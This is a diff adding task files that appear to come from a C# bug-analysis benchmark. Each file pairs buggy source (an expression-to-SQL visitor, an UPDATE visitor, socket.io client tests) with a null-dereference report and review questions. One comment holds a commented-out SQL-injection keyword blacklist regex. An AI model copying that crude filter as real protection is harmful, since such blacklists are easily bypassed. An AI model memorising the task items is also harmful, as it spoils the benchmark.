+        private Expression _expression = null;
+        private IDictionary<string, MemberExpression> _navMembers = null;
+
+        /// <summary>
+        /// SQL 构造器
+        /// </summary>
+        protected ISqlBuilder _builder = null;
+
+        /// <summary>
+        /// 方法解析器
+        /// </summary>
+        protected IMethodCallExressionVisitor _methodVisitor = null;
+
+        /// <summary>
+        /// 成员访问痕迹
+        /// </summary>
+        protected MemberVisitedMark _visitedMark = null;
+
+        //防SQL注入字符
+        //private static readonly Regex RegSystemThreats = 
+        //new Regex(@"\s?or\s*|\s?;\s?|\s?drop\s|\s?grant\s|^'|\s?--|\s?union\s|\s?delete\s|\s?truncate\s|" +
+        //    @"\s?sysobjects\s?|\s?xp_.*?|\s?syslogins\s?|\s?sysremote\s?|\s?sysusers\s?|\s?sysxlogins\s?|\s?sysdatabases\s?|\s?aspnet_.*?|\s?exec\s?",
+        //    RegexOptions.Compiled | RegexOptions.IgnoreCase);
+
+        #endregion
+
+        #region 公开属性
+
+        /// <summary>
+        /// 即将解析的表达式
+        /// </summary>
+        public Expression Expression
+        {
+            get { return _expression; }
+        }
+
+        /// <summary>
+        /// 即将解析的表达式
+        /// </summary>
+        public ISqlBuilder SqlBuilder
+        {
+            get { return _builder; }
+        }
+
+        /// <summary>
+        /// 表别名域
+        /// </summary>
+        public TableAliasCache TableAlias
+        {
+            get { return _aliases; }
+        }
+
+        /// <summary>
+        /// 导航属性表达式列表
+        /// </summary>
+        public IDictionary<string, MemberExpression> NavMembers
+        {
+            get { return _navMembers; }
+        }
+
+        /// <summary>
+        /// 成员访问痕迹
+        /// </summary>
+        public MemberVisitedMark VisitedMark { get { return _visitedMark; } }
+
+        #endregion
+
+        #region 构造函数
+
+        /// <summary>
+        /// 初始化 <see cref="ExpressionVisitorBase"/> 类的新实例
+        /// </summary>
+        public ExpressionVisitorBase(IDbQueryProvider provider, TableAliasCache aliases, Expression exp, bool useNominate = true)
+        {
+            _provider = provider;
+            _aliases = aliases;
+            _expression = exp;
+            _visitedMark = new MemberVisitedMark();
+            _navMembers = new Dictionary<string, MemberExpression>();
+        }
+
+        #endregion
+
+        #region 重写方法
+
+        /// <summary>
+        /// 将表达式所表示的SQL片断写入SQL构造器
+        /// </summary>
+        public virtual void Write(ISqlBuilder builder)
+        {
+            _builder = builder;
+            if (_methodVisitor == null) _methodVisitor = _provider.CreateMethodCallVisitor(this);
+            this.Visit(_expression);
+        }
+
+        protected override Expression VisitBinary(BinaryExpression b)
+        {
+            if (b == null) return b;
+
+            if (b.NodeType == ExpressionType.ArrayIndex) return this.Visit(b.Evaluate());
+
+            Expression left = b.Left.ReduceUnary();
+            Expression right = b.Right.ReduceUnary();
+            if (b.NodeType == ExpressionType.AndAlso || b.NodeType == ExpressionType.OrElse)
+            {
+                // expression maybe a.Name == "TAN" && a.Allowused
+                left = TryMakeBinary(b.Left);
+                right = TryMakeBinary(b.Right);
+
+                if (left != b.Left || right != b.Right)
+                {
+                    b = Expression.MakeBinary(b.NodeType, left, right);
+                    return this.Visit(b);
+                }
+            }
+
+            // 例： a.Name ?? "TAN"
+            if (b.NodeType == ExpressionType.Coalesce) return _methodVisitor.VisitCoalesce(b);
+
+            // 例： a.Name == null
+            ConstantExpression constExpression = left as ConstantExpression ?? right as ConstantExpression;
+            if (constExpression != null && constExpression.Value == null) return _methodVisitor.VisitEqualNull(b);
+
+            // 例： a.Name == a.FullName  or like a.Name == "TAN"
+            return this.VisitBinary_Condition(b);
+        }
+
+        protected override Expression VisitConditional(ConditionalExpression node)
+        {
+            // 例： a.Name == null ? "TAN" : a.Name => CASE WHEN a.Name IS NULL THEN 'TAN' ELSE a.Name End
+
+            Expression testExpression = this.TryMakeBinary(node.Test, true);
+            Expression ifTrueExpression = this.TryMakeBinary(node.IfTrue, true);
+            Expression ifFalseExpression = this.TryMakeBinary(node.IfFalse, true);
+
+            _visitedMark.ClearImmediately = false;
+            _builder.Append("(CASE WHEN ");
+            this.Visit(testExpression);
+            _builder.Append(" THEN ");
+            this.Visit(ifTrueExpression);
+            _builder.Append(" ELSE ");
+            this.Visit(ifFalseExpression);
+            _builder.Append(" END)");
+            _visitedMark.ClearImmediately = true;
+
+            return node;
+        }
+
+        protected override Expression VisitConstant(ConstantExpression c)
+        {
+            //fix# char ~~
+            Func<Type, bool> isChar = t => t == typeof(char) || t == typeof(char?);
+            if (_visitedMark.Current != null && c != null && c.Value != null && isChar(_visitedMark.Current.Type) && !isChar(c.Type))
+            {
+                char @char = Convert.ToChar(c.Value);
+                c = Expression.Constant(@char, typeof(char));
+            }
+
+            _builder.Append(c.Value, _visitedMark.Current);
+            _visitedMark.Clear();
+            return c;
+        }
+
+        protected override Expression VisitMember(MemberExpression node)
+        {
+            // 1.<>h__TransparentIdentifier3.b.Client.ClientName
+            // 2.<>h__TransparentIdentifier3.b.Client.ClientName.Length
+            // 3.<>h__TransparentIdentifier3.b.Client.Address.AddressName
+            // 4.<>h__TransparentIdentifier3.b.ClientName
+            // <>h__TransparentIdentifier2.<>h__TransparentIdentifier3.b.ClientName
+            // <>h__TransparentIdentifier2.<>h__TransparentIdentifier3.b.Client.ClientName
+            // <>h__TransparentIdentifier2.<>h__TransparentIdentifier3.b.Client.Address.AddressName
+            // 5.b.ClientName
+
+            _visitedMark.Add(node);
+
+            if (node == null) return node;
+            // => a.ActiveDate == DateTime.Now  => a.State == (byte)state
+            if (node.CanEvaluate()) return this.VisitConstant(node.Evaluate());
+            // => a.Nullable.Value
+            bool isNullable = node.Expression.Type.IsGenericType && node.Member.Name == "Value" && node.Expression.Type.GetGenericTypeDefinition() == typeof(Nullable<>);
+            if (isNullable) return this.Visit(node.Expression);
+            // => a.Name.Length
+            if (TypeUtils.IsPrimitiveType(node.Expression.Type)) return _methodVisitor.VisitMemberMember(node);
+            // => <>h__3.b.ClientName
+            if (!node.Expression.Acceptable()) return _builder.AppendMember(node, _aliases);
+            // => a.Accounts[0].Markets[0].MarketId
+            // => b.Client.Address.AddressName
+            Expression objExpression = node.Expression;
+            bool isMethodCall = objExpression != null && objExpression.NodeType == ExpressionType.Call;
+            if (isMethodCall)
+            {
+                MethodCallExpression methodExpression = objExpression as MethodCallExpression;
+                var expr = methodExpression.Object;
+                bool isGetItem = expr != null && Data.TypeUtils.IsCollectionType(expr.Type) && methodExpression.Method.Name == "get_Item";
+                if (isGetItem) objExpression = expr;
+            }            
+            // => b.Client.Address.AddressName
+            this.VisitNavMember(objExpression, node.Member.Name);
+
+            return node;
+        }
+
+        protected override Expression VisitMethodCall(MethodCallExpression node)
+        {
+            // => List<int>[]
+            if (node.CanEvaluate()) return this.VisitConstant(node.Evaluate());
+            return _methodVisitor.VisitMethodCall(node);
+        }
+
+        protected override Expression VisitUnary(UnaryExpression u)
+        {
+            return _methodVisitor.VisitUnary(u);
+        }
+
+        #endregion
+
+        #region 私有函数
+
+        protected virtual Expression VisitBinary_Condition(BinaryExpression b)
+        {
+            // 例： a.Name == a.FullName 
+            // or like a.Name == "TAN"
+
+            if (b != null)
+            {
+                string oper = this.GetOperator(b);
+                Expression left = b.Left.CanEvaluate() ? b.Right : b.Left;
+                Expression right = b.Left.CanEvaluate() ? b.Left : b.Right;
+
+                bool use = this.TakeParenthese(b, b.Left);
+                if (use) _builder.Append('(');
+                this.Visit(left);
+                if (use) _builder.Append(')');
+
+                _builder.Append(oper);
+
+                bool use2 = this.TakeParenthese(b, b.Right);
+                if (use2) _builder.Append('(');
+                this.Visit(right);
+                if (use2) _builder.Append(')');
+
+                _visitedMark.Clear();
+            }
+
+            return b;
+        }
+
+        // 访问导航属性
+        protected virtual string VisitNavMember(Expression expression, string memberName = null)
+        {
+            // 表达式 => b.Client.Address.AddressName
+            Expression node = expression;
+            Stack<KeyValuePair<string, MemberExpression>> stack = null;
+            string alias = string.Empty;
+            while (node != null && node.Acceptable())
+            {
+                if (node.NodeType != ExpressionType.MemberAccess) break;
+
+                if (stack == null) stack = new Stack<KeyValuePair<string, MemberExpression>>();
+                MemberExpression memberExpression = node as MemberExpression;
+
+                TypeRuntimeInfo typeRuntime = TypeRuntimeInfoCache.GetRuntimeInfo(memberExpression.Expression.Type);
+                ForeignKeyAttribute attribute = typeRuntime.GetInvokerAttribute<ForeignKeyAttribute>(memberExpression.Member.Name);
+                if (attribute == null) break;
+
+                string key = memberExpression.GetKeyWidthoutAnonymous();
+                stack.Push(new KeyValuePair<string, MemberExpression>(key, memberExpression));
+                node = memberExpression.Expression;
+                if (node.NodeType == ExpressionType.Call) node = (node as MethodCallExpression).Object;
+            }
+
+            if (stack != null && stack.Count > 0)
+            {
+                while (stack != null && stack.Count > 0)
+                {
+                    KeyValuePair<string, MemberExpression> kvp = stack.Pop();
+                    string key = kvp.Key;
+                    MemberExpression m = kvp.Value;
+                    Type type = m.Type;
+                    if (type.IsGenericType) type = type.GetGenericArguments()[0];
+
+                    TypeRuntimeInfo typeRuntime = TypeRuntimeInfoCache.GetRuntimeInfo(type);
+                    // 检查查询表达式是否显示指定该表关联
+                    alias = _aliases.GetJoinTableAlias(typeRuntime.TableName);
+                    if (string.IsNullOrEmpty(alias))
+                    {
+                        // 如果没有，则使用导航属性别名
+                        alias = _aliases.GetNavigationTableAlias(key);
+                        if (!_navMembers.ContainsKey(kvp.Key)) _navMembers.Add(kvp);
+                    }
+
+                    // 例： a.Client.ClientId
+                    if (stack.Count == 0 && !string.IsNullOrEmpty(memberName)) _builder.AppendMember(alias, memberName);
+                }
+            }
+            else
+            {
+                // => SelectMany 也会产生类似 'b.Client.Address.AddressName' 这样的表达式
+                alias = _aliases.GetTableAlias(expression);
+                _builder.AppendMember(alias, memberName);
+            }
+
+            // fix issue# Join 表达式显式指定导航属性时时，alias 为空
+            return alias;
+        }
+
+        protected Expression TryMakeBinary(Expression exp, bool skipConstant = false)
+        {
+            if (exp.Type != typeof(bool)) return exp;
+
+            Expression left = null;
+            Expression right = null;
+
+            switch (exp.NodeType)
+            {
+                //True should be translate to 1==1 and Flase should be 1==2
+                case ExpressionType.Constant:
+                    if (!skipConstant)
+                    {
+                        ConstantExpression constExp = exp as ConstantExpression;
+                        bool value = Convert.ToBoolean(constExp.Value);
+                        left = Expression.Constant(1);
+                        right = Expression.Constant(value ? 1 : 2);
+                    }
+
+                    break;
+
+                //x.MemberName(Boolean)
+                case ExpressionType.MemberAccess:
+                    left = exp;
+                    right = Expression.Constant(true);
+
+                    break;
+
+                //!x.MemberName(Boolean)
+                case ExpressionType.Not:
+                    UnaryExpression unaryExp = exp as UnaryExpression;
+                    if (unaryExp.Operand.NodeType == ExpressionType.MemberAccess)
+                    {
+                        left = unaryExp.Operand;
+                        right = Expression.Constant(false);
+                    }
+
+                    break;
+            }
+
+            if (left != null) exp = Expression.MakeBinary(ExpressionType.Equal, left, right);
+
+            return exp;
+        }
+
+        protected virtual string GetOperator(BinaryExpression b)
+        {
+            string opr = string.Empty;
+            switch (b.NodeType)
+            {
+                case ExpressionType.Equal:
+                    opr = " = ";
+                    break;
+                case ExpressionType.NotEqual:
+                    opr = " <> ";
+                    break;
+                case ExpressionType.GreaterThan:
+                    opr = " > ";
+                    break;
+                case ExpressionType.GreaterThanOrEqual:
+                    opr = " >= ";
+                    break;
+                case ExpressionType.LessThan:
+                    opr = " < ";
+                    break;
+                case ExpressionType.LessThanOrEqual:
+                    opr = " <= ";
+                    break;
+                case ExpressionType.And:
+                case ExpressionType.AndAlso:
+                    opr = b.Type == typeof(bool) ? " AND " : " & ";
+                    break;
+                case ExpressionType.Or:
+                case ExpressionType.OrElse:
+                    opr = b.Type == typeof(bool) ? " OR " : " | ";
+                    break;
+                case ExpressionType.Add:
+                case ExpressionType.AddChecked:
+                    opr = " + ";
+                    break;
+                case ExpressionType.Subtract:
+                case ExpressionType.SubtractChecked:
+                    opr = " - ";
+                    break;
+                case ExpressionType.Multiply:
+                case ExpressionType.MultiplyChecked:
+                    opr = " * ";
+                    break;
+                case ExpressionType.Divide:
+                    opr = " / ";
+                    break;
+                case ExpressionType.Modulo:
+                    opr = " % ";
+                    break;
+                case ExpressionType.Coalesce:
+                    opr = "ISNULL";
+                    break;
+                default:
+                    throw new NotSupportedException(string.Format("{0} is not supported.", b.NodeType));
+            }
+
+            return opr;
+        }
+
+        // 判断是否需要括号
+        protected bool TakeParenthese(Expression expression, Expression subExp = null)
+        {
+            if (subExp != null)
+            {
+                UnaryExpression unaryExpression = subExp as UnaryExpression;
+                if (unaryExpression != null) return TakeParenthese(expression, unaryExpression.Operand);
+
+                InvocationExpression invokeExpression = subExp as InvocationExpression;
+                if (invokeExpression != null) return TakeParenthese(expression, invokeExpression.Expression);
+
+                LambdaExpression lambdaExpression = subExp as LambdaExpression;
+                if (lambdaExpression != null) return TakeParenthese(expression, lambdaExpression.Body);
+
+                BinaryExpression b = subExp as BinaryExpression;
+                if (b != null)
+                {
+                    if (expression.NodeType == ExpressionType.OrElse)
+                        return true;
+                }
+            }
+
+            return this.GetPriority(expression) < this.GetPriority(subExp);
+        }
+
+        protected int GetPriority(Expression expression)
+        {
+            switch (expression.NodeType)
+            {
+                case ExpressionType.Add:
+                case ExpressionType.AddChecked:
+                case ExpressionType.ExclusiveOr:
+                case ExpressionType.Subtract:
+                case ExpressionType.SubtractChecked:
+                    return 3;
+                case ExpressionType.And:
+                    return expression.Type == typeof(bool) ? 6 : 3;
+                case ExpressionType.AndAlso:
+                    return 6;
+                case ExpressionType.Divide:
+                case ExpressionType.Modulo:
+                case ExpressionType.Multiply:
+                case ExpressionType.MultiplyChecked:
+                    return 2;
+                case ExpressionType.Equal:
+                case ExpressionType.GreaterThan:
+                case ExpressionType.GreaterThanOrEqual:
+                case ExpressionType.LessThan:
+                case ExpressionType.LessThanOrEqual:
+                case ExpressionType.NotEqual:
+                    return 4;
+                case ExpressionType.Not:
+                    return expression.Type == typeof(bool) ? 5 : 1;
+                case ExpressionType.Or:
+                    return expression.Type == typeof(bool) ? 7 : 3;
+                case ExpressionType.OrElse:
+                    return 7;
+                default:
+                    return 0;
+            }
+        }
+
+        #endregion
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `methodExpression` last assigned on line 209 could be null and is dereferenced at line 210, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+Expression ExpressionVisitorBase.VisitMember(MemberExpression)
+
+### File:
+net45/TZM.XFramework/Data/ExpressionVisitor/ExpressionVisitorBase.cs
+
+### Key:
+ExpressionVisitorBase.cs|VisitMember|NULL_DEREFERENCE
+
+### Node Key:
+90535029835413c6e5d1bdebbf52bdf9
+
+### Hash:
+40909e960c19392ca1d9db8b5f7a8424
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0590/instruction.md b/inferredbugs-0590/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..182c4f678649e36a6b5f1addcf853214d72d64c6
--- /dev/null
+++ b/inferredbugs-0590/instruction.md
@@ -0,0 +1,150 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Riz.XFramework
+**Bug ID:** 25
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.Linq.Expressions;
+
+namespace TZM.XFramework.Data
+{
+    /// <summary>
+    /// UPDATE 表达式解析器
+    /// </summary>
+    public class UpdateExpressionVisitor : ExpressionVisitorBase
+    {
+        private IDbQueryProvider _provider = null;
+        private TableAliasCache _aliases = null;
+
+        /// <summary>
+        /// 初始化 <see cref="UpdateExpressionVisitor"/> 类的新实例
+        /// </summary>
+        /// <param name="provider">查询语义提供者</param>
+        /// <param name="aliases">表别名集合</param>
+        /// <param name="expression">要访问的表达式</param>
+        public UpdateExpressionVisitor(IDbQueryProvider provider, TableAliasCache aliases, Expression expression)
+            : base(provider, aliases, expression)
+        {
+            _provider = provider;
+            _aliases = aliases;
+        }
+
+        /// <summary>
+        /// 访问成员初始化表达式，如 => new App() {Id = p.Id}
+        /// </summary>
+        /// <param name="node">要访问的成员初始化表达式</param>
+        /// <returns></returns>
+        protected override Expression VisitMemberInit(MemberInitExpression node)
+        {
+            if (node.Bindings == null || node.Bindings.Count == 0)
+                throw new XFrameworkException("Update<T> at least update one member.");
+
+            for (int index = 0; index < node.Bindings.Count; ++index)
+            {
+                //MemberAssignment member = node.Bindings[index] as MemberAssignment;
+                //_builder.AppendMember("t0", member.Member.Name);
+                //_builder.Append(" = ");
+
+                //if (member.Expression.CanEvaluate())
+                //    _builder.Append(member.Expression.Evaluate().Value, member.Member);
+                //else
+                //    this.VisitWithoutRemark(x => base.Visit(member.Expression));
+
+                //if (index < node.Bindings.Count - 1)
+                //{
+                //    _builder.Append(",");
+                //    _builder.AppendNewLine();
+                //}
+            }
+            return node;
+        }
+
+        /// <summary>
+        /// 访问构造函数表达式，如 =>new  {Id = p.Id}}
+        /// </summary>
+        /// <param name="node">构造函数调用的表达式</param>
+        /// <returns></returns>
+        protected override Expression VisitNew(NewExpression node)
+        {
+            // 匿名类的New
+            if (node == null) return node;
+            if (node.Arguments == null || node.Arguments.Count == 0)
+                throw new XFrameworkException("Update<T> at least update one member.");
+
+            for (int index = 0; index < node.Arguments.Count; index++)
+            {
+                //var member = node.Members[index];
+                //_builder.AppendMember("t0", member.Name);
+                //_builder.Append(" = ");
+
+                //if (node.Arguments[index].CanEvaluate())
+                //    _builder.Append(node.Arguments[index].Evaluate().Value, member);
+                //else
+                //    base.Visit(node.Arguments[index]);
+
+                //if (index < node.Arguments.Count - 1)
+                //{
+                //    _builder.Append(',');
+                //    _builder.AppendNewLine();
+                //}
+            }
+
+            return node;
+        }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `member` last assigned on line 32 could be null and is dereferenced at line 33, column 17.
+
+### Severity:
+ERROR
+
+### Procedure:
+Expression UpdateExpressionVisitor.VisitMemberInit(MemberInitExpression)
+
+### File:
+net45/TZM.XFramework/Data/ExpressionVisitor/UpdateExpressionVisitor.cs
+
+### Key:
+UpdateExpressionVisitor.cs|VisitMemberInit|NULL_DEREFERENCE
+
+### Node Key:
+91b8c216590cdce695b1f86e7c48e6c5
+
+### Hash:
+ca68bae44360dc2f736535b6624c50e9
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0591/instruction.md b/inferredbugs-0591/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..74089d2c740e8f835aa260d2915220b69a4066a6
--- /dev/null
+++ b/inferredbugs-0591/instruction.md
@@ -0,0 +1,331 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** socket.io-client-csharp
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+using Moq;
+using SocketIOClient.Messages;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using System.Threading.Tasks;
+
+namespace SocketIOClient.UnitTest.ConverterTests
+{
+    [TestClass]
+    public class ConverterReadTest
+    {
+        [TestMethod]
+        public void Opened()
+        {
+            var msg = MessageFactory.CreateMessage("0{\"sid\":\"6lV4Ef7YOyGF-5dCBvKy\",\"upgrades\":[],\"pingInterval\":10000,\"pingTimeout\":5000}");
+            Assert.AreEqual(MessageType.Opened, msg.Type);
+
+            var openedMsg = msg as OpenedMessage;
+
+            Assert.AreEqual("6lV4Ef7YOyGF-5dCBvKy", openedMsg.Sid);
+            Assert.AreEqual(10000, openedMsg.PingInterval);
+            Assert.AreEqual(5000, openedMsg.PingTimeout);
+        }
+
+        [TestMethod]
+        public void Ping()
+        {
+            var msg = MessageFactory.CreateMessage("2");
+            Assert.AreEqual(MessageType.Ping, msg.Type);
+        }
+
+        [TestMethod]
+        public void Pong()
+        {
+            var msg = MessageFactory.CreateMessage("3");
+            Assert.AreEqual(MessageType.Pong, msg.Type);
+        }
+
+        [TestMethod]
+        public void Eio4Connected()
+        {
+            var msg = MessageFactory.CreateMessage("40{\"sid\":\"aMA_EmVTuzpgR16PAc4w\"}");
+            Assert.AreEqual(MessageType.Connected, msg.Type);
+
+            var connectedMsg = msg as ConnectedMessage;
+
+            Assert.AreEqual(string.Empty, connectedMsg.Namespace);
+            Assert.AreEqual("aMA_EmVTuzpgR16PAc4w", connectedMsg.Sid);
+        }
+
+        [TestMethod]
+        public void Eio4NamespaceConnected()
+        {
+            var msg = MessageFactory.CreateMessage("40/nsp,{\"sid\":\"xO_jp2_xrGtXUveLAc4y\"}");
+            Assert.AreEqual(MessageType.Connected, msg.Type);
+
+            var connectedMsg = msg as ConnectedMessage;
+
+            Assert.AreEqual("/nsp", connectedMsg.Namespace);
+            Assert.AreEqual("xO_jp2_xrGtXUveLAc4y", connectedMsg.Sid);
+        }
+
+        [TestMethod]
+        public void Disconnected()
+        {
+            var msg = MessageFactory.CreateMessage("41");
+            Assert.AreEqual(MessageType.Disconnected, msg.Type);
+
+            var realMsg = msg as DisconnectedMessage;
+
+            Assert.AreEqual(string.Empty, realMsg.Namespace);
+        }
+
+        [TestMethod]
+        public void NamespaceDisconnected()
+        {
+            var msg = MessageFactory.CreateMessage("41/github,");
+            Assert.AreEqual(MessageType.Disconnected, msg.Type);
+
+            var realMsg = msg as DisconnectedMessage;
+
+            Assert.AreEqual("/github", realMsg.Namespace);
+        }
+
+        [TestMethod]
+        public void Event0Param()
+        {
+            var msg = MessageFactory.CreateMessage("42[\"hi\"]");
+            Assert.AreEqual(MessageType.EventMessage, msg.Type);
+
+            var realMsg = msg as EventMessage;
+
+            Assert.IsTrue(string.IsNullOrEmpty(realMsg.Namespace));
+
+            Assert.AreEqual("hi", realMsg.Event);
+            Assert.AreEqual(0, realMsg.JsonElements.Count);
+        }
+
+        [TestMethod]
+        public void Event1Param()
+        {
+            var msg = MessageFactory.CreateMessage("42[\"hi\",\"V3: onAny\"]");
+            Assert.AreEqual(MessageType.EventMessage, msg.Type);
+
+            var realMsg = msg as EventMessage;
+
+            Assert.IsTrue(string.IsNullOrEmpty(realMsg.Namespace));
+
+            Assert.AreEqual("hi", realMsg.Event);
+            Assert.AreEqual(1, realMsg.JsonElements.Count);
+            Assert.AreEqual("V3: onAny", realMsg.JsonElements[0].GetString());
+        }
+
+        [TestMethod]
+        public void NamespaceEvent0Param()
+        {
+            var msg = MessageFactory.CreateMessage("42/nsp,[\"234\"]");
+            Assert.AreEqual(MessageType.EventMessage, msg.Type);
+
+            var realMsg = msg as EventMessage;
+
+            Assert.AreEqual("/nsp", realMsg.Namespace);
+
+            Assert.AreEqual("234", realMsg.Event);
+            Assert.AreEqual(0, realMsg.JsonElements.Count);
+        }
+
+        [TestMethod]
+        public void NamespaceEvent1Param()
+        {
+            var msg = MessageFactory.CreateMessage("42/nsp,[\"qww\",true]");
+            Assert.AreEqual(MessageType.EventMessage, msg.Type);
+
+            var realMsg = msg as EventMessage;
+
+            Assert.AreEqual("/nsp", realMsg.Namespace);
+
+            Assert.AreEqual("qww", realMsg.Event);
+            Assert.AreEqual(1, realMsg.JsonElements.Count);
+            Assert.IsTrue(realMsg.JsonElements[0].GetBoolean());
+        }
+
+        [TestMethod]
+        public void Ack()
+        {
+            var msg = MessageFactory.CreateMessage("431[\"doghappy\"]");
+            Assert.AreEqual(MessageType.AckMessage, msg.Type);
+
+            var realMsg = msg as ClientAckMessage;
+
+            Assert.IsTrue(string.IsNullOrEmpty(realMsg.Namespace));
+            Assert.AreEqual(1, realMsg.Id);
+
+            Assert.AreEqual(1, realMsg.JsonElements.Count);
+            Assert.AreEqual("doghappy", realMsg.JsonElements[0].GetString());
+        }
+
+        [TestMethod]
+        public void NamespaceAck()
+        {
+            var msg = MessageFactory.CreateMessage("43/google,15[\"doghappy\"]");
+            Assert.AreEqual(MessageType.AckMessage, msg.Type);
+
+            var realMsg = msg as ClientAckMessage;
+
+            Assert.AreEqual("/google", realMsg.Namespace);
+            Assert.AreEqual(15, realMsg.Id);
+
+            Assert.AreEqual(1, realMsg.JsonElements.Count);
+            Assert.AreEqual("doghappy", realMsg.JsonElements[0].GetString());
+        }
+
+        [TestMethod]
+        public void Error()
+        {
+            var msg = MessageFactory.CreateMessage("44{\"message\":\"Authentication error2\"}");
+            Assert.AreEqual(MessageType.ErrorMessage, msg.Type);
+
+            var result = msg as ErrorMessage;
+
+            Assert.AreEqual("Authentication error2", result.Message);
+        }
+
+        [TestMethod]
+        public void Binary()
+        {
+            var msg = MessageFactory.CreateMessage("451-[\"1 params\",{\"_placeholder\":true,\"num\":0}]");
+            Assert.AreEqual(MessageType.BinaryMessage, msg.Type);
+
+            var realMsg = msg as BinaryMessage;
+
+            Assert.IsTrue(string.IsNullOrEmpty(realMsg.Namespace));
+            Assert.AreEqual(1, realMsg.BinaryCount);
+
+            Assert.AreEqual("1 params", realMsg.Event);
+            Assert.AreEqual(1, realMsg.JsonElements.Count);
+            Assert.AreEqual(JsonValueKind.Object, realMsg.JsonElements[0].ValueKind);
+        }
+
+        [TestMethod]
+        public void NamespaceBinary()
+        {
+            var msg = MessageFactory.CreateMessage("451-/why-ve,[\"1 params\",{\"_placeholder\":true,\"num\":0}]");
+            Assert.AreEqual(MessageType.BinaryMessage, msg.Type);
+
+            var realMsg = msg as BinaryMessage;
+
+            Assert.AreEqual("/why-ve", realMsg.Namespace);
+            Assert.AreEqual(1, realMsg.BinaryCount);
+
+            Assert.AreEqual("1 params", realMsg.Event);
+            Assert.AreEqual(1, realMsg.JsonElements.Count);
+            Assert.AreEqual(JsonValueKind.Object, realMsg.JsonElements[0].ValueKind);
+        }
+
+        [TestMethod]
+        public void NamespaceBinaryWithId()
+        {
+            var msg = MessageFactory.CreateMessage("451-/why-ve,30[\"1 params\",{\"_placeholder\":true,\"num\":0}]");
+            Assert.AreEqual(MessageType.BinaryMessage, msg.Type);
+
+            var realMsg = msg as BinaryMessage;
+
+            Assert.AreEqual("/why-ve", realMsg.Namespace);
+            Assert.AreEqual(1, realMsg.BinaryCount);
+            Assert.AreEqual(30, realMsg.Id);
+
+            Assert.AreEqual("1 params", realMsg.Event);
+            Assert.AreEqual(1, realMsg.JsonElements.Count);
+            Assert.AreEqual(JsonValueKind.Object, realMsg.JsonElements[0].ValueKind);
+        }
+
+        [TestMethod]
+        public void BinaryAck()
+        {
+            var msg = MessageFactory.CreateMessage("461-6[{\"_placeholder\":true,\"num\":0}]");
+            Assert.AreEqual(MessageType.BinaryAckMessage, msg.Type);
+
+            var realMsg = msg as ServerBinaryAckMessage;
+
+            Assert.IsNull(realMsg.Namespace);
+            Assert.AreEqual(1, realMsg.BinaryCount);
+            Assert.AreEqual(6, realMsg.Id);
+
+            Assert.AreEqual(1, realMsg.JsonElements.Count);
+            Assert.AreEqual(JsonValueKind.Object, realMsg.JsonElements[0].ValueKind);
+        }
+
+        [TestMethod]
+        public void NamespaceBinaryAck()
+        {
+            var msg = MessageFactory.CreateMessage("461-/name-space,6[{\"_placeholder\":true,\"num\":0}]");
+            Assert.AreEqual(MessageType.BinaryAckMessage, msg.Type);
+
+            var realMsg = msg as ServerBinaryAckMessage;
+
+            Assert.AreEqual("/name-space", realMsg.Namespace);
+            Assert.AreEqual(1, realMsg.BinaryCount);
+            Assert.AreEqual(6, realMsg.Id);
+
+            Assert.AreEqual(1, realMsg.JsonElements.Count);
+            Assert.AreEqual(JsonValueKind.Object, realMsg.JsonElements[0].ValueKind);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `realMsg` last assigned on line 259 could be null and is dereferenced at line 261, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ConverterReadTest.NamespaceBinaryAck()
+
+### File:
+src/SocketIOClient.UnitTest/ConverterTests/ConverterReadTest.cs
+
+### Key:
+ConverterReadTest.cs|NamespaceBinaryAck|NULL_DEREFERENCE
+
+### Node Key:
+a35c6d97ccef7486c04c7fb208054b5b
+
+### Hash:
+16ff83dccb4ca5ef941dc8bea796f9d1
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
